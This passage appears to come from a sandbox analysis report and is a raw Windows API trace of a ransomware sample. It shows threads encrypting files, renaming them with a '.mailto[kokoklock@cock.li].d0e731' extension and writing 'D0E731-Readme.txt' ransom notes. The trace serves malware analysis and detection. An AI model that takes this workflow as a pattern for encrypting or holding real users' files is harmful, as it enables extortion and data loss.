_Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt" [0070.684] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\d0e731-readme.txt")) returned 0xffffffff [0070.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.686] WriteFile (in: hFile=0x390, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc7afeac, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc7afeac*=0x481, lpOverlapped=0x0) returned 1 [0070.687] CloseHandle (hObject=0x390) returned 1 [0070.687] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34272d8) returned 1 [0070.687] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427270) returned 1 [0070.687] RtlExitUserThread (Status=0x1) Thread: id = 248 os_tid = 0x1258 [0063.499] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0066.377] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.858] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0068.858] GetFileSizeEx (in: hFile=0x6dc, lpFileSize=0xc82fe1c | out: lpFileSize=0xc82fe1c*=3726) returned 1 [0068.858] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0xe8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.858] ReadFile (in: hFile=0x6dc, lpBuffer=0xc82fdf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc82fdec, lpOverlapped=0x0 | out: lpBuffer=0xc82fdf0*, lpNumberOfBytesRead=0xc82fdec*=0x4, lpOverlapped=0x0) returned 1 [0068.860] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e70 [0068.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.860] NtQuerySystemTime (in: CurrentTime=0xc82fdc8 | out: CurrentTime=0xc82fdc8*=132121176267597856) returned 0x0 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xf6169a3f [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x8b0f1c11 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xdc938c0a [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xb150367f [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x645224ba [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xbba29fc5 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x5cfbf21d [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xb06af8db [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xa2a57f39 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x1641eaa7 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x7a46489c [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x885c4b47 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x40fdf7fd [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x366e1b2e [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x3b9c9bf9 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x92d22b88 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xbeee9b89 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xcd51615a [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x8184e056 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xcbdc54a0 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x105cbe52 [0068.860] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xe6f6d766 [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x7f5ebec5 [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x6208c579 [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xe7e3b808 [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x40844922 [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x51729665 [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xa2579755 [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xdfae2687 [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0x9329f2fe [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xe1ce3d65 [0068.861] RtlRandom (in: Seed=0xc82fdd4 | out: Seed=0xc82fdd4) returned 0xc37326bc [0068.871] ReadFile (in: hFile=0x6dc, lpBuffer=0x3475830, nNumberOfBytesToRead=0xe8e, lpNumberOfBytesRead=0xc82fdc8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc82fdc8*=0xe8e, lpOverlapped=0x0) returned 1 [0068.871] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc82fd90 | out: lpNewFilePointer=0x0) returned 1 [0068.871] WriteFile (in: hFile=0x6dc, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xe8e, lpNumberOfBytesWritten=0xc82fdc4, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc82fdc4*=0xe8e, lpOverlapped=0x0) returned 1 [0068.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423ec0 [0068.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ec0) returned 1 [0068.872] WriteFile (in: hFile=0x6dc, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc82fdc0, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc82fdc0*=0x20, lpOverlapped=0x0) returned 1 [0068.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.872] WriteFile (in: hFile=0x6dc, lpBuffer=0x3423ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc82fdec, lpOverlapped=0x0 | out: lpBuffer=0x3423ee8*, lpNumberOfBytesWritten=0xc82fdec*=0x8, lpOverlapped=0x0) returned 1 [0068.872] WriteFile (in: hFile=0x6dc, lpBuffer=0xc82fe04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc82fdec, lpOverlapped=0x0 | out: lpBuffer=0xc82fe04*, lpNumberOfBytesWritten=0xc82fdec*=0x4, lpOverlapped=0x0) returned 1 [0068.872] WriteFile (in: hFile=0x6dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc82fdec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc82fdec*=0x4, lpOverlapped=0x0) returned 1 [0068.872] WriteFile (in: hFile=0x6dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc82fdec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc82fdec*=0x6c, lpOverlapped=0x0) returned 1 [0068.872] WriteFile (in: hFile=0x6dc, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc82fdec, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xc82fdec*=0x20, lpOverlapped=0x0) returned 1 [0068.872] WriteFile (in: hFile=0x6dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc82fdec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc82fdec*=0x4, lpOverlapped=0x0) returned 1 [0068.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e98) returned 1 [0068.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ee8) returned 1 [0068.873] CloseHandle (hObject=0x6dc) returned 1 [0070.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0070.659] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1029\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf" [0070.659] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0070.660] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.662] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0070.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0070.663] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", dwFileAttributes=0x80) returned 0 [0070.663] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34272d8 [0070.663] wcscpy (in: _Dest=0x34272d8, _Source="C:\\588bce7c90097ed212\\1029\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0070.663] wcscat (in: _Dest=0x34272d8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt" [0070.663] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\d0e731-readme.txt")) returned 0x20 [0070.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34272d8) returned 1 [0070.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2c58) returned 1 [0070.663] RtlExitUserThread (Status=0x1) Thread: id = 249 os_tid = 0x125c [0063.500] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0064.572] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0070.635] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.636] GetFileSizeEx (in: hFile=0x390, lpFileSize=0xc8afe30 | out: lpFileSize=0xc8afe30*=80970) returned 1 [0070.636] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x13c46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.636] ReadFile (in: hFile=0x390, lpBuffer=0xc8afe04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc8afe00, lpOverlapped=0x0 | out: lpBuffer=0xc8afe04*, lpNumberOfBytesRead=0xc8afe00*=0x4, lpOverlapped=0x0) returned 1 [0070.638] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422b40 [0070.638] NtQuerySystemTime (in: CurrentTime=0xc8afddc | out: CurrentTime=0xc8afddc*=132121176285253987) returned 0x0 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x6689e62f [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xb1e7f803 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x2d8b274e [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x84919f91 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xe58d6d08 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x489a164e [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x6f3204f [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x90c6016f [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xffaa267d [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xe27a4d4 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xd5cb7ea [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xf42e0513 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x4d66f169 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x3a32931 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xbd72e7bb [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xb495c976 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x9aba9065 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xd279d145 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xed8502f0 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x442844a1 [0070.638] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xf8e392a [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xac648224 [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xff25b08e [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x8d27560 [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xe67a96e [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xcb40af70 [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x86618059 [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x55ade4ac [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x34f516f8 [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x371f3f66 [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0xb1d50df3 [0070.639] RtlRandom (in: Seed=0xc8afde8 | out: Seed=0xc8afde8) returned 0x44e605f2 [0070.650] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.650] ReadFile (in: hFile=0x390, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc8afdb4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc8afdb4*=0x4096, lpOverlapped=0x0) returned 1 [0070.651] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0070.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e228 [0070.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0070.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.651] WriteFile (in: hFile=0x390, lpBuffer=0x348e228*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc8afdb4, lpOverlapped=0x0 | out: lpBuffer=0x348e228*, lpNumberOfBytesWritten=0xc8afdb4*=0x4096, lpOverlapped=0x0) returned 1 [0070.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e228) returned 1 [0070.652] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x13c4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.652] WriteFile (in: hFile=0x390, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc8afdec, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xc8afdec*=0x20, lpOverlapped=0x0) returned 1 [0070.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0070.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.652] WriteFile (in: hFile=0x390, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc8afe00, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xc8afe00*=0x8, lpOverlapped=0x0) returned 1 [0070.652] WriteFile (in: hFile=0x390, lpBuffer=0xc8afe18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc8afe00, lpOverlapped=0x0 | out: lpBuffer=0xc8afe18*, lpNumberOfBytesWritten=0xc8afe00*=0x4, lpOverlapped=0x0) returned 1 [0070.652] WriteFile (in: hFile=0x390, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc8afe00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc8afe00*=0x4, lpOverlapped=0x0) returned 1 [0070.652] WriteFile (in: hFile=0x390, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc8afe00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc8afe00*=0x6c, lpOverlapped=0x0) returned 1 [0070.652] WriteFile (in: hFile=0x390, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc8afe00, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xc8afe00*=0x20, lpOverlapped=0x0) returned 1 [0070.652] WriteFile (in: hFile=0x390, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc8afe00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc8afe00*=0x4, lpOverlapped=0x0) returned 1 [0070.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.653] CloseHandle (hObject=0x390) returned 1 [0070.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0070.656] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" [0070.656] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0070.656] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.656] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0070.657] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0070.657] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0070.657] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427888 [0070.657] wcscpy (in: _Dest=0x3427888, _Source="C:\\588bce7c90097ed212\\1029\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0070.657] wcscat (in: _Dest=0x3427888, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt" [0070.657] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\d0e731-readme.txt")) returned 0xffffffff [0070.657] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0070.660] WriteFile (in: hFile=0x380, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc8afdfc, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc8afdfc*=0x481, lpOverlapped=0x0) returned 1 [0070.661] CloseHandle (hObject=0x380) returned 1 [0070.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427888) returned 1 [0070.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34272d8) returned 1 [0070.661] RtlExitUserThread (Status=0x1) Thread: id = 250 os_tid = 0x1260 [0063.500] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0066.377] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.874] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0068.874] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0xc92f934 | out: lpFileSize=0xc92f934*=3314) returned 1 [0068.874] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0xcee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.874] ReadFile (in: hFile=0x6d8, lpBuffer=0xc92f908, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc92f904, lpOverlapped=0x0 | out: lpBuffer=0xc92f908*, lpNumberOfBytesRead=0xc92f904*=0x4, lpOverlapped=0x0) returned 1 [0068.875] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e70 [0068.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e98 [0068.876] NtQuerySystemTime (in: CurrentTime=0xc92f8e0 | out: CurrentTime=0xc92f8e0*=132121176267754264) returned 0x0 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xff855579 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x99b7929f [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x7fa69d03 [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0x3830df7b [0068.876] RtlRandom (in: Seed=0xc92f8ec | out: Seed=0xc92f8ec) returned 0xe8f29eb6 